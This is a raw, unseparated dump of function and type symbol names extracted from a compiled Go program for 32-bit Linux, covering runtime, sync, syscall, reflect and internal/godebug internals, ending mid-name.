runtime.(*sigctxt).sigaddrruntime.fatalsignalruntime.dieFromSignalruntime.raisebadsignalruntime.ensureSigMruntime.sigNotOnStackruntime.badsignalruntime.sigfwdgoruntime.sigblockruntime.unblocksigruntime.sigaddsetruntime.minitSignalsruntime.minitSignalStackruntime.minitSignalMaskruntime.blockableSigruntime.unminitSignalsruntime.signalstackruntime.sigsendruntime.sigInitIgnoredruntime.panicmakeslicelenruntime.panicmakeslicecapruntime.makeslicecopyruntime.makeslice64runtime.moveSliceruntime.moveSliceNoCapruntime.moveSliceNoCapNoScanruntime.growsliceBufruntime.stackpoolallocruntime.gclinkptr.ptrruntime.stackpoolfreeruntime.stackcacherefillruntime.stackcachereleaseruntime.stackcache_clearruntime.stackallocruntime.stacklog2runtime.stackfreeruntime.adjustpointersruntime.adjustframeruntime.adjustpointerruntime.adjustdefersruntime.adjustsudogsruntime.syncadjustsudogsruntime.copystackruntime.fillstackruntime.findsghiruntime.adjustctxtruntime.adjustpanicsruntime.newstackruntime.gopreempt_mruntime.nilfuncruntime.gostartcallfnruntime.gostartcallruntime.isShrinkStackSaferuntime.shrinkstackruntime.freeStackSpansruntime.gcComputeStartingStackSizeruntime.(*stkframe).argBytesruntime.(*stkframe).argMapInternalruntime.(*stkframe).getStackMapruntime.stackmapdataruntime.stkobjinitruntime.concatstringsruntime.stringDataOnStackruntime.concatstring2runtime.concatstring3runtime.concatstring4runtime.concatstring5runtime.slicebytetostringruntime.rawstringtmpruntime.rawstringruntime.stringtoslicebyteruntime.stringtosliceruneruntime.slicerunetostringruntime.intstringruntime.rawbytesliceruntime.rawrunesliceruntime.parseByteCountruntime.findnullruntime.badsystemstackruntime.(*Frames).Nextruntime.cgoSymbolizerAvailableruntime.elideWrapperCallingruntime.expandCgoFramesruntime.modulesinitruntime.(*gcControllerState).addGlobalsruntime.(*moduledata).textAddrruntime.(*moduledata).funcNameruntime.(*Func).Entryruntime.(*_func).isInlinedruntime.(*_func).funcInforuntime.pcvalueruntime.funcpkgpathruntime.funcfileruntime.funcMaxSPDeltaruntime.pcdatavalueruntime.pcdatastartruntime.pcdatavalue1runtime.pcdatavalue2runtime.stepruntime.readvarintruntime.(*inlineUnwinder).nextruntime.(*inlineUnwinder).resolveInternalruntime.(*synctestBubble).changegstatusruntime.waitReason.isIdleInSynctestruntime.(*synctestBubble).changegstatus.goready.func1runtime.(*synctestBubble).incActiveruntime.(*synctestBubble).decActiveruntime.(*synctestBubble).decActive.goready.func1runtime.(*synctestBubble).maybeWakeLockedruntime.(*timers).unlockruntime.(*timer).unlockruntime.(*timer).updateHeapruntime.badTimerruntime.resetForSleepruntime.goroutineReadyruntime.goroutineReady.goready.func1runtime.(*timers).addHeapruntime.(*timer).maybeRunAsyncruntime.(*timer).lockruntime.(*timer).maybeRunAsync.func1runtime.(*timer).stopruntime.(*timer).hchanruntime.(*timers).deleteMinruntime.(*timer).modifyruntime.(*timer).needsAddruntime.(*timer).modify.func1runtime.(*timer).maybeAddruntime.(*timers).lockruntime.(*timers).cleanHeadruntime.(*timers).takeruntime.(*timers).adjustruntime.(*timers).wakeTimeruntime.(*timers).checkruntime.(*timers).runruntime.(*timer).unlockAndRunruntime.(*timers).updateMinWhenHeapruntime.(*timers).updateMinWhenModifiedruntime.timeSleepUntilruntime.(*timers).siftUpruntime.timerWhen.lessruntime.(*timers).siftDownruntime.(*timers).initHeapruntime.(*timer).maybeRunChanruntime.(*timer).maybeRunChan.func1runtime.blockTimerChanruntime.unblockTimerChanruntime.traceAdvance.func6runtime.(*traceBufQueue).emptyruntime.traceAdvance.func5runtime.traceAdvance.func4runtime.traceAdvance.forEachP.func7runtime.traceAdvance.func1runtime.(*traceSchedResourceState).statusWasTracedruntime.traceAdvance.func1.1runtime.traceRegisterLabelsAndReasonsruntime.traceReaderruntime.traceReaderAvailableruntime.(*traceAdvancerState).stopruntime.(*wakeableSleep).wakeruntime.(*wakeableSleep).closeruntime.traceLocker.SpanAllocruntime.traceSpanIDruntime.traceSpanTypeAndClassruntime.traceLocker.SpanFreeruntime.traceLocker.HeapObjectAllocruntime.traceHeapObjectIDruntime.traceLocker.rtyperuntime.traceLocker.HeapObjectFreeruntime.traceLocker.GoroutineStackAllocruntime.traceGoroutineStackIDruntime.traceLocker.GoroutineStackFreeruntime.traceCompressStackSizeruntime.(*unwinder).initAtruntime.(*unwinder).resolveInternalruntime.funcspdeltaruntime.(*unwinder).nextruntime.(*unwinder).finishInternalruntime.(*unwinder).symPCruntime.(*unwinder).cgoCallersruntime.cgoTracebackAvailableruntime.tracebackPCsruntime.printArgsruntime.printArgs.func2runtime.printArgs.func1runtime.printArgs.func3runtime.readUnaligned64runtime.funcNamePiecesForPrintruntime.printFuncNameruntime.printcreatedbyruntime.printcreatedby1runtime.tracebacktrapruntime.traceback1runtime.traceback1.func1runtime.traceback2runtime.traceback2.func1runtime.(*inlineUnwinder).fileLineruntime.printAncestorTracebackruntime.printAncestorTracebackFuncInforuntime.callers.func1runtime.gcallersruntime.showframeruntime.showfuncinforuntime.isExportedRuntimeinternal/stringslite.CutPrefixruntime.goroutineheaderinternal/stringslite.HasSuffixruntime.tracebacksomeothersruntime.tracebacksomeothers.func1runtime.tracebackHexdumpruntime.tracebackHexdump.func1runtime.isSystemGoroutineruntime.printCgoTracebackruntime.printOneCgoTracebackruntime.callCgoSymbolizerruntime.cgoContextPCsruntime.traceWriter.eventruntime.traceClockNowruntime.(*traceBuf).byteruntime.(*traceBuf).varintruntime.traceWriter.ensureruntime.(*traceBuf).availableruntime.traceWriter.flushruntime.traceWriter.flush.func1runtime.traceWriter.refillruntime.(*traceBuf).varintReserveruntime.traceWriter.refill.func1runtime.(*traceBuf).varintAtruntime.traceBufFlushruntime.(*traceBufQueue).pushruntime.traceStopReadCPUinternal/runtime/atomic.(*Pointer[go.shape.struct { runtime.r runtime.profAtomic; runtime.w runtime.profAtomic; runtime.overflow internal/runtime/atomic.Uint64; runtime.overflowTime internal/runtime/atomic.Uint64; runtime.eof internal/runtime/atomic.Uint32; runtime.hdrsize uintptr; runtime.data []uint64; runtime.tags []unsafe.Pointer; runtime.rNext runtime.profIndex; runtime.overflowBuf []uint64; runtime.wait runtime.note }]).Storeruntime.traceReadCPUruntime.traceCPUFlushruntime.traceCPUFlush.func1runtime.traceCPUSampleinternal/runtime/atomic.(*Pointer[go.shape.struct { runtime.r runtime.profAtomic; runtime.w runtime.profAtomic; runtime.overflow internal/runtime/atomic.Uint64; runtime.overflowTime internal/runtime/atomic.Uint64; runtime.eof internal/runtime/atomic.Uint32; runtime.hdrsize uintptr; runtime.data []uint64; runtime.tags []unsafe.Pointer; runtime.rNext runtime.profIndex; runtime.overflowBuf []uint64; runtime.wait runtime.note }]).Loadruntime.traceLocker.eventWriterruntime.traceLocker.writerruntime.traceWriter.endruntime.traceEventWriter.eventruntime.traceLocker.startPCruntime.(*traceMap).putruntime.(*traceMap).newTraceMapNoderuntime.(*traceMap).resetruntime.(*traceRegionAlloc).allocruntime.(*traceRegionAlloc).alloc.func1runtime.(*traceRegionAlloc).dropruntime.traceLockInitruntime.traceAcquireEnabledruntime.traceReleaseruntime.traceLocker.Gomaxprocsruntime.traceLocker.stackruntime.traceLocker.ProcStartruntime.(*traceSchedResourceState).nextSeqruntime.traceLocker.ProcStopruntime.traceLocker.GCActiveruntime.traceLocker.GCStartruntime.traceLocker.GCDoneruntime.traceLocker.STWStartruntime.traceLocker.stringruntime.traceLocker.STWDoneruntime.traceLocker.GCSweepStartruntime.traceLocker.GCSweepSpanruntime.traceLocker.GCSweepDoneruntime.traceLocker.GCMarkAssistStartruntime.traceLocker.GCMarkAssistDoneruntime.traceLocker.GoCreateruntime.(*traceSchedResourceState).setStatusTracedruntime.traceLocker.GoStartruntime.traceLocker.GoEndruntime.traceLocker.GoStopruntime.traceLocker.GoParkruntime.traceLocker.GoUnparkruntime.traceLocker.emitUnblockStatusruntime.traceLocker.GoSysCallruntime.traceLocker.GoSysExitruntime.traceLocker.ProcStealruntime.traceLocker.HeapAllocruntime.traceLocker.HeapGoalruntime.traceLocker.GoCreateSyscallruntime.traceLocker.GoDestroySyscallruntime.traceThreadDestroyruntime.traceThreadDestroy.func1runtime.traceStackruntime.(*traceStackTable).putruntime.(*traceStackTable).dumpruntime.dumpStacksRecruntime.makeTraceFramesruntime.makeTraceFrameruntime.fpunwindExpandruntime.fpunwindExpand.func1runtime.startPCForTraceruntime.traceWriter.writeGoStatusruntime.traceWriter.writeProcStatusForPruntime.traceWriter.writeProcStatusruntime.goStatusToTraceGoStatusruntime.(*traceSchedResourceState).acquireStatusruntime.(*traceSchedResourceState).readyNextGenruntime.traceNextGenruntime.(*traceStringTable).putruntime.(*traceStringTable).put.func1runtime.(*traceStringTable).writeStringruntime.(*traceBuf).stringDataruntime.(*traceStringTable).resetruntime.(*traceStringTable).reset.func1runtime.traceSyncBatchruntime.traceSyncBatch.func1runtime.(*traceTypeTable).putruntime.(*traceTypeTable).dumpruntime.dumpTypesRecinternal/abi.(*Type).Sizeruntime.rtype.stringruntime.rtype.pkgpathruntime.rtype.uncommonruntime.getGCMaskOnDemandruntime.getGCMaskOnDemand.func1runtime.bitCursor.writeruntime.buildGCMaskruntime.bitCursor.offsetruntime.resolveNameOffruntime.reflectOffsLockruntime.reflectOffsUnlockruntime.resolveTypeOffruntime.rtype.textOffruntime.pkgPathinternal/abi.Name.Dataruntime.typelinksinitruntime.typesEqualinternal/abi.Name.IsEmbeddedruntime.panicunsafestringlenruntime.panicunsafestringnilptrruntime.panicunsafeslicelenruntime.panicunsafeslicelen1runtime.panicunsafeslicenilptrruntime.panicunsafeslicenilptr1runtime.decoderuneruntime.encoderuneruntime.vdsoInitFromSysinfoEhdrruntime.vdsoFindVersionruntime.vdsoParseSymbolsruntime.vdsoParseSymbols.func1runtime._ELF_ST_TYPEruntime._ELF_ST_BINDruntime.vdsoauxvruntime.float64toint64runtime.float64touint64runtime.int64tofloat64runtime.uint64tofloat64runtime._d2vruntime.uint64divruntime.uint64modruntime.int64divruntime.int64modruntime.dodivruntime.slowdodivruntime.printCgoTraceback.func1runtime.traceAdvance.func2runtime.traceAdvance.func3runtime.ensureSigM.func1runtime.schedtrace.func1runtime.wirep.func1runtime.exitsyscall.func1runtime.injectglist.func1runtime.casgstatus.func2runtime.init.5.func1runtime.main.func1runtime.asyncPreempt2.func1runtime.fatalpanic.func2runtime.preprintpanics.func1runtime.sysSigaction.func1runtime.wbBufFlush.func1runtime.sweepone.func1runtime.(*scavengerState).init.func1runtime.(*scavengerState).init.func2runtime.(*scavengerState).init.func3runtime.(*scavengerState).init.func4runtime.gcResetMarkState.func1runtime.gcBgMarkWorker.func1runtime.gcMarkTermination.func2.1runtime.gcMarkTermination.func4runtime.(*gcWork).flushScanStatsruntime.gcMarkTermination.func4.1runtime.gcMarkTermination.func5runtime.gcMarkDone.func1runtime.gcStart.func3runtime.initMetrics.func1runtime.initMetrics.func2runtime.nsToSecruntime.initMetrics.func3runtime.initMetrics.func4runtime.initMetrics.func5runtime.initMetrics.func6runtime.initMetrics.func7runtime.initMetrics.func8runtime.initMetrics.func9runtime.initMetrics.func10runtime.initMetrics.func11runtime.initMetrics.func12runtime.initMetrics.func13runtime.initMetrics.func14runtime.initMetrics.func15runtime.initMetrics.func16runtime.initMetrics.func17runtime.initMetrics.func18runtime.initMetrics.func19runtime.initMetrics.func20runtime.initMetrics.func21runtime.initMetrics.func22runtime.initMetrics.func23runtime.initMetrics.func24runtime.initMetrics.func25runtime.initMetrics.func26runtime.initMetrics.func27runtime.initMetrics.func28runtime.initMetrics.func29runtime.initMetrics.func30runtime.initMetrics.func31runtime.initMetrics.func32runtime.initMetrics.func33runtime.initMetrics.func34runtime.initMetrics.func35runtime.initMetrics.func36runtime.initMetrics.func37runtime.initMetrics.func38runtime.initMetrics.func39runtime.initMetrics.func40runtime.initMetrics.func41runtime.initMetrics.func42runtime.initMetrics.func43runtime.initMetrics.func44runtime.initMetrics.func45runtime.initMetrics.func46runtime.initMetrics.func47runtime.initMetrics.func48runtime.initMetrics.func49runtime.initMetrics.func50runtime.initMetrics.func51runtime.initMetrics.func52runtime.initMetrics.func53runtime.initMetrics.func54runtime.initMetrics.func55runtime.initMetrics.func56runtime.initMetrics.func57runtime.initMetrics.func58runtime.initMetrics.func59runtime.initMetrics.func60runtime.initMetrics.func61runtime.initMetrics.func62runtime.initMetrics.func63runtime.initMetrics.func64runtime.initMetrics.func65runtime.initMetrics.func66runtime.startCheckmarks.func1runtime.(*mheap).allocSpan.func1runtime.(*timer).unlockAndRun.func1runtime.dopanic_m.tracebackothers.func2runtime.sighandler.tracebackothers.func1runtime.gcMarkTermination.gcRestoreSyncObjects.func6runtime.gcStart.setSyncObjectsUntraceable.func5runtime.Stack.func1.tracebackothers.1runtime.nilinterhashruntime.typehashruntime.atomicwbinternal/runtime/atomic.storePointerinternal/runtime/atomic.casPointersync/atomic.StorePointersync/atomic.SwapPointersync/atomic.CompareAndSwapPointerruntime.cgocallreflect.chanlenruntime.getitabruntime.convT64runtime.convTstringruntime.convTslicereflect.ifaceE2Iruntime.getStaticuint64sruntime.mallocgcinternal/runtime/maps.newobjectreflect.unsafe_Newruntime.newarrayinternal/runtime/maps.newarrayruntime.makemap_smallinternal/runtime/maps.NewEmptyMapruntime.makemapruntime.mapdeletereflect.mapaccessreflect.mapaccess_faststrreflect.maplenruntime.typedmemmovereflect.typedmemmoveinternal/runtime/maps.typedmemmoveruntime.typedslicecopyreflect.typedmemclrinternal/runtime/maps.typedmemclrruntime.memclrHasPointersruntime.findObjectreflect.verifyNotInHeapPtrinternal/godebug.registerMetricruntime.metricsLockruntime.metricsUnlocksync.runtime_registerPoolCleanupruntime.blockeventruntime.blocksampledsync.eventinternal/poll.runtime_pollServerInitinternal/poll.runtime_pollOpeninternal/poll.runtime_pollCloseinternal/poll.runtime_pollResetinternal/poll.runtime_pollWaitinternal/poll.runtime_pollUnblockruntime.fcntlruntime.gopanicsync.fatalinternal/runtime/maps.fatalinternal/sync.throwinternal/sync.fatalinternal/runtime/cgroup.throwruntime.throwos.runtime_beforeExitruntime.goparkruntime.wakepruntime.entersyscallruntime.entersyscallblockruntime.exitsyscallsyscall.runtime_BeforeForksyscall.runtime_AfterForksyscall.runtime_AfterForkInChildsync.runtime_procPinruntime.procPinsync.runtime_procUnpinruntime.procUnpinsync/atomic.runtime_procPinsync/atomic.runtime_procUnpininternal/sync.runtime_canSpininternal/sync.runtime_doSpinruntime.randinternal/runtime/maps.randruntime.cheaprand64syscall.runtime_envsos.runtime_argssyscall.Exitinternal/godebug.setUpdateinternal/runtime/atomic.(*Pointer[go.shape.func(string, string)]).Storeinternal/godebug.setNewIncNonDefaultinternal/runtime/atomic.(*Pointer[go.shape.func(string) func()]).Storeruntime.defaultGOMAXPROCSUpdateGODEBUGruntime/debug.SetTracebackreflect.typelinksreflect.resolveNameOffreflect.resolveTypeOffreflect.resolveTextOffinternal/reflectlite.resolveNameOffreflect.addReflectOffinternal/poll.runtime_Semacquiresync.runtime_Semreleaseinternal/sync.runtime_SemacquireMutexsync.runtime_SemacquireRWMutexRsync.runtime_SemacquireRWMutexinternal/poll.runtime_Semreleaseinternal/sync.runtime_Semreleasesync.runtime_notifyListCheckinternal/sync.runtime_nanotimeos.sigpiperuntime.sigpanicruntime.panicmemAddrruntime.panicmemruntime.panicfloatruntime.panicoverflowos/signal.signal_recvos/signal.signal_enableruntime.makesliceruntime.growsliceruntime.nextslicecapruntime.isPowerOfTwointernal/bytealg.MakeNoZeroruntime.morestackcruntime.gostringreflect.memmoveruntime.moduledataverify1runtime.findfuncruntime.findmoduledatapruntime.(*moduledata).textOffruntime.funcline1runtime.newInlineUnwindertime.runtimeNowtime.runtimeNanotime.runtimeIsBubbledtime.Sleeptime.newTimertime.stopTimerruntime.writetime.nowruntime.traceAdvanceruntime.callersinternal/runtime/maps.typeStringruntime.mapinitnoopgogocallRetgosave_systemstack_switchsetg_gccldt0setupaeshashbodygcWriteBarrier_rt0_386runtime.rt0_goruntime.asminitruntime.mstartruntime.gogoruntime.mcallruntime.systemstack_switchruntime.systemstackruntime.switchToCrashStack0runtime.morestackruntime.morestack_noctxtruntime.reflectcallruntime.call16runtime.call32runtime.call64runtime.call128runtime.call256runtime.call512runtime.call1024runtime.call2048runtime.call4096runtime.call8192runtime.call16384runtime.call32768runtime.call65536runtime.call131072runtime.call262144runtime.call524288runtime.call1048576runtime.call2097152runtime.call4194304runtime.call8388608runtime.call16777216runtime.call33554432runtime.call67108864runtime.call134217728runtime.call268435456runtime.call536870912runtime.call1073741824runtime.procyieldAsmruntime.publicationBarrierruntime.asmcgocallruntime.setgruntime.abortruntime.stackcheckruntime.cputicksruntime.emptyfuncruntime.memhashruntime.strhashruntime.memhash32runtime.memhash64runtime.checkASMruntime.goexitruntime.uint32tofloat64runtime.float64touint32runtime.gcWriteBarrier1runtime.gcWriteBarrier2runtime.gcWriteBarrier3runtime.gcWriteBarrier4runtime.gcWriteBarrier5runtime.gcWriteBarrier6runtime.gcWriteBarrier7runtime.gcWriteBarrier8runtime.panicBoundsruntime.panicExtendruntime.duffzeroruntime.duffcopyruntime.memclrNoHeapPointersruntime.memmoveruntime.asyncPreempt_rt0_386_linuxexit1runtime.exitruntime.exitThreadruntime.openruntime.closefdruntime.write1runtime.readruntime.usleepruntime.gettidruntime.raiseruntime.raiseprocruntime.getpidruntime.tgkillruntime.timer_createruntime.timer_settime32runtime.timer_settime64runtime.timer_deleteruntime.mincoreruntime.walltimeruntime.nanotime1runtime.rtsigprocmaskruntime.rt_sigactionruntime.callCgoSigactionruntime.sigfwdruntime.sigtrampruntime.cgoSigtrampruntime.sigreturn__sigactionruntime.mmapruntime.munmapruntime.madviseruntime.futex_time32runtime.futex_time64runtime.cloneruntime.sigaltstackruntime.setldtruntime.osyieldruntime.sched_getaffinityruntime.sbrk0runtime._mul64by32runtime._div64by32runtime.(*lockRank).Stringruntime.(*plainError).Errorruntime.(*waitReason).Stringruntime.(*errorString).Errorruntime.(*errorAddressString).Errorruntime.(*boundsError).Errorruntime.metricReader.compute-fmruntime.metricReader.computeruntime.(*itabTableType).add-fmtype:.eq.runtime._panictype:.eq.runtime._functype:.eq.runtime.pcHeadertype:.eq.runtime.modulehashtype:.eq.runtime.hchantype:.eq.runtime.mcachetype:.eq.runtime.mspantype:.eq.runtime.mSpanListtype:.eq.runtime.gcBitstype:.eq.runtime.specialtype:.eq.runtime.pTraceStatetype:.eq.runtime.notInHeaptype:.eq.runtime.limiterEventtype:.eq.runtime.gcWorktype:.eq.runtime.workbuftype:.eq.runtime.spanSPMCtype:.eq.runtime.cleanupBlockHeadertype:.eq.runtime.mTraceStatetype:.eq.runtime.traceBuftype:.eq.runtime.mOStype:.eq.runtime.Frametype:.eq.runtime.PanicNilErrortype:.eq.runtime.boundsErrortype:.eq.runtime.errorAddressStringtype:.eq.runtime.synctestDeadlockErrortype:.eq.runtime.untracedG·7type:.eq.runtime.TypeAssertionErrortype:.eq.runtime.piControllertype:.eq.[2]runtime.Frameinternal/reflectlite.rtype.Stringinternal/reflectlite.rtype.nameOffinternal/reflectlite.rtype.Nameinternal/abi.(*Type).HasNameinternal/reflectlite.eleminternal/abi.(*Type).Eleminternal/reflectlite.rtype.Eleminternal/reflectlite.toTypeinternal/reflectlite.rtype.Leninternal/abi.(*Type).ArrayTypeinternal/reflectlite.(*rtype).Leninternal/reflectlite.(*rtype).Nameinternal/reflectlite.(*rtype).Stringerrors.initinternal/reflectlite.TypeOferrors.(*errorString).Errorerrors.Isinternal/reflectlite.rtype.Comparableerrors.issync/atomic.(*Bool).Storesync/atomic.(*Value).Loadsync/atomic.(*Value).Storesync/atomic.SwapInt32sync/atomic.SwapUintptrsync/atomic.CompareAndSwapInt32sync/atomic.CompareAndSwapUint32sync/atomic.CompareAndSwapUintptrsync/atomic.CompareAndSwapUint64sync/atomic.AddInt32sync/atomic.AddUint64sync/atomic.LoadInt32sync/atomic.LoadUint32sync/atomic.LoadUint64sync/atomic.LoadUintptrsync/atomic.LoadPointersync/atomic.StoreInt32sync/atomic.StoreUint32sync/atomic.StoreUint64sync/atomic.StoreUintptrtype:.eq.sync/atomic.Booltype:.eq.sync/atomic.Int32type:.eq.sync/atomic.Uint32type:.eq.sync/atomic.Uint64internal/sync.(*Mutex).Lockinternal/sync.(*Mutex).lockSlowinternal/sync.(*Mutex).Unlockinternal/sync.(*Mutex).unlockSlowsync.(*Mutex).Unlocksync.(*Once).Dosync/atomic.(*Bool).Loadsync.(*Once).doSlowsync.(*Mutex).Locksync.(*Once).doSlow.deferwrap2sync.(*Once).doSlow.deferwrap1sync.(*Pool).Putsync.(*Pool).Getsync.(*Pool).getSlowsync.indexLocalsync.(*Pool).pinsync.(*Pool).pinSlowsync.(*Pool).pinSlow.deferwrap1sync.init.0sync.(*poolDequeue).pushHeadsync/atomic.(*Uint64).Loadsync/atomic.(*Uint64).Addsync.(*poolDequeue).popHeadsync/atomic.(*Uint64).CompareAndSwapsync.(*poolDequeue).popTailsync.(*poolChain).pushHeadsync/atomic.(*Pointer[go.shape.struct { sync.poolDequeue; sync.next sync/atomic.Pointer[sync.poolChainElt]; sync.prev sync/atomic.Pointer[sync.poolChainElt] }]).Storesync.(*poolChain).popHeadsync/atomic.(*Pointer[go.shape.struct { sync.poolDequeue; sync.next sync/atomic.Pointer[sync.poolChainElt]; sync.prev sync/atomic.Pointer[sync.poolChainElt] }]).Loadsync.(*poolChain).popTailsync/atomic.(*Pointer[go.shape.struct { sync.poolDequeue; sync.next sync/atomic.Pointer[sync.poolChainElt]; sync.prev sync/atomic.Pointer[sync.poolChainElt] }]).CompareAndSwapsync.init.1sync.(*RWMutex).RLocksync/atomic.(*Int32).Addsync.(*RWMutex).RUnlocksync.(*RWMutex).rUnlockSlowsync.(*RWMutex).Locksync.(*RWMutex).Unlocksync.poolCleanupsyscall.hasWaitingReaderssync/atomic.(*Int32).Loadinternal/sync.(*HashTrieMap[go.shape.interface {},go.shape.interface {}]).itersync/atomic.(*Pointer[go.shape.struct { internal/sync.isEntry bool }]).Loadsync/atomic.(*Pointer[go.shape.struct { internal/sync.node = internal/sync.node[go.shape.interface {},go.shape.interface {}]; internal/sync.overflow sync/atomic.Pointer[internal/sync.entry[go.shape.interface {},go.shape.interface {}]]; internal/sync.key go.shape.interface {}; internal/sync.value go.shape.interface {} }]).Loadinternal/sync.(*HashTrieMap[go.shape.interface {},go.shape.interface {}]).Rangesync/atomic.(*Pointer[go.shape.struct { internal/sync.node = internal/sync.node[go.shape.interface {},go.shape.interface {}]; internal/sync.dead sync/atomic.Bool; internal/sync.mu internal/sync.Mutex; internal/sync.parent *internal/sync.indirect[go.shape.interface {},go.shape.interface {}]; internal/sync.children [16]sync/atomic.Pointer[go.shape.struct { internal/sync.isEntry bool }] }]).Loadinternal/sync.(*HashTrieMap[go.shape.interface {},go.shape.interface {}]).expandinternal/sync.newIndirectNode[go.shape.interface {},go.shape.interface {}]sync/atomic.(*Pointer[go.shape.struct { internal/sync.node = internal/sync.node[go.shape.interface {},go.shape.interface {}]; internal/sync.overflow sync/atomic.Pointer[internal/sync.entry[go.shape.interface {},go.shape.interface {}]]; internal/sync.key go.shape.interface {}; internal/sync.value go.shape.interface {} }]).Storesync/atomic.(*Pointer[go.shape.struct { internal/sync.isEntry bool }]).Storeinternal/sync.(*HashTrieMap[go.shape.interface {},go.shape.interface {}]).LoadOrStoreinternal/sync.(*node[go.shape.interface {},go.shape.interface {}]).entryinternal/sync.newEntryNode[go.shape.interface {},go.shape.interface {}]internal/sync.(*HashTrieMap[go.shape.interface {},go.shape.interface {}]).LoadOrStore.deferwrap1internal/sync.(*HashTrieMap[go.shape.interface {},go.shape.interface {}]).Loadinternal/sync.(*HashTrieMap[go.shape.interface {},go.shape.interface {}]).initSlowsync/atomic.(*Uint32).Loadinternal/abi.(*Type).MapTypesync/atomic.(*Pointer[go.shape.struct { internal/sync.node = internal/sync.node[go.shape.interface {},go.shape.interface {}]; internal/sync.dead sync/atomic.Bool; internal/sync.mu internal/sync.Mutex; internal/sync.parent *internal/sync.indirect[go.shape.interface {},go.shape.interface {}]; internal/sync.children [16]sync/atomic.Pointer[go.shape.struct { internal/sync.isEntry bool }] }]).Storesync/atomic.(*Uint32).Storeinternal/sync.(*HashTrieMap[go.shape.interface {},go.shape.interface {}]).initSlow.deferwrap1internal/sync.(*HashTrieMap[go.shape.interface {},go.shape.interface {}]).initinternal/sync.(*entry[go.shape.interface {},go.shape.interface {}]).lookuptype:.eq.sync.Mutextype:.eq.sync/atomic.Pointer[sync.poolChainElt]type:.eq.sync.poolLocaltype:.eq.sync.poolLocalInternaltype:.eq.sync.poolChaintype:.eq.sync/atomic.Pointer[internal/sync.indirect[interface {},interface {}]]type:.eq.internal/sync.indirect[interface {},interface {}]type:.eq.internal/sync.entry[interface {},interface {}]type:.eq.sync/atomic.Pointer[internal/sync.entry[interface {},interface {}]]type:.eq.[16]sync/atomic.Pointer[internal/sync.node[interface {},interface {}]]type:.eq.sync/atomic.Pointer[internal/sync.node[interface {},interface {}]]type:.eq.sync.RWMutextype:.eq.sync.Oncetype:.eq.internal/sync.entry[go.shape.interface {},go.shape.interface {}]type:.eq.sync/atomic.Pointer[internal/sync.entry[go.shape.interface {},go.shape.interface {}]]type:.eq.internal/sync.indirect[go.shape.interface {},go.shape.interface {}]type:.eq.[16]sync/atomic.Pointer[go.shape.struct { internal/sync.isEntry bool }]type:.eq.sync/atomic.Pointer[go.shape.struct { internal/sync.isEntry bool }]internal/bisect.Newinternal/bisect.(*Matcher).stackruntime.Callersinternal/bisect.(*Matcher).ShouldPrintinternal/bisect.(*Matcher).matchResultinternal/bisect.(*Matcher).ShouldEnablesync/atomic.(*Pointer[go.shape.struct { internal/bisect.recent [128][4]uint64; internal/bisect.mu sync.Mutex; internal/bisect.m map[uint64]bool }]).Loadsync/atomic.(*Pointer[go.shape.struct { internal/bisect.recent [128][4]uint64; internal/bisect.mu sync.Mutex; internal/bisect.m map[uint64]bool }]).CompareAndSwapinternal/bisect.(*Matcher).MarkerOnlyinternal/bisect.PrintMarkerinternal/bisect.AppendMarkerinternal/bisect.printStackinternal/bisect.appendFileLineinternal/bisect.Hashinternal/bisect.fnvUint32internal/bisect.fnvUint64internal/bisect.fnvinternal/bisect.fnvStringinternal/bisect.(*parseError).Errorinternal/bisect.(*dedup).seeninternal/bisect.(*dedup).seenLossytype:.eq.internal/bisect.condtype:.eq.sync/atomic.Pointer[internal/bisect.dedup]internal/godebug.(*Setting).IncNonDefaultinternal/godebug.(*Setting).registerinternal/godebug.(*Setting).Nameinternal/godebug.(*Setting).Valuesync/atomic.(*Pointer[go.shape.struct { internal/godebug.text string; internal/godebug.bisect *internal/bisect.Matcher }]).Loadinternal/bisect.(*Matcher).Stackinternal/godebug.(*Setting).Value.func1internal/godebug.(*Setting).Undocumentedinternal/godebug.lookupsync.(*Map).Loadinternal/godebugs.Lookupsync/atomic.(*Pointer[go.shape.struct { internal/godebug.text string; internal/godebug.bisect *internal/bisect.Matcher }]).Storesync.(*Map).LoadOrStoreinternal/godebug.init.0internal/godebug.newIncNonDefaultinternal/godebug.Newinternal/godebug.updatesync.(*Map).Rangeinternal/godebug.update.func2internal/godebug.update.func1internal/godebug.update.deferwrap1internal/godebug.parseinternal/godebug.(*runtimeStderr).Writeinternal/godebug.(*Setting).IncNonDefault-fmsync/atomic.(*Uint64).Load-fminternal/godebug.(*Setting).register-fmtype:.eq.internal/godebug.settingtype:.eq.sync/atomic.Pointer[internal/godebug.value]type:.eq.internal/godebug.valuetype:.eq.internal/godebug.Settingiter.initsyscall.initsync.OnceFuncsyscall.init.OnceFunc.func3syscall.init.OnceFunc.func3.1syscall.init.OnceFunc.func3.1.1syscall.init.func1syscall.Getenvsyscall.Getenv.deferwrap1syscall.Environsyscall.Environ.deferwrap1syscall.forkAndExecInChildsyscall.forkAndExecInChild1sync/atomic.(*Pointer[go.shape.struct { Cur uint64; Max uint64 }]).Loadsyscall.forkExecPipesyscall.capToIndexsyscall.capToMasksyscall.formatIDMappingsinternal/strconv.Itoasyscall.writeIDMappingssyscall.Opensyscall.Writesyscall.writeSetgroupssyscall.writeUidGidMappingssyscall.os_checkClonePidfd.deferwrap1syscall.doCheckClonePidfdsyscall.SlicePtrFromStringssyscall.SetNonblocksyscall.forkExecsyscall.BytePtrFromStringerrors.Newsyscall.forkAndExecFailureCleanupsyscall.init.0syscall.acquireForkLocksyscall.acquireForkLock.deferwrap1syscall.releaseForkLocksyscall.releaseForkLock.deferwrap1syscall.init.1syscall.Getrlimitsync/atomic.(*Pointer[go.shape.struct { Cur uint64; Max uint64 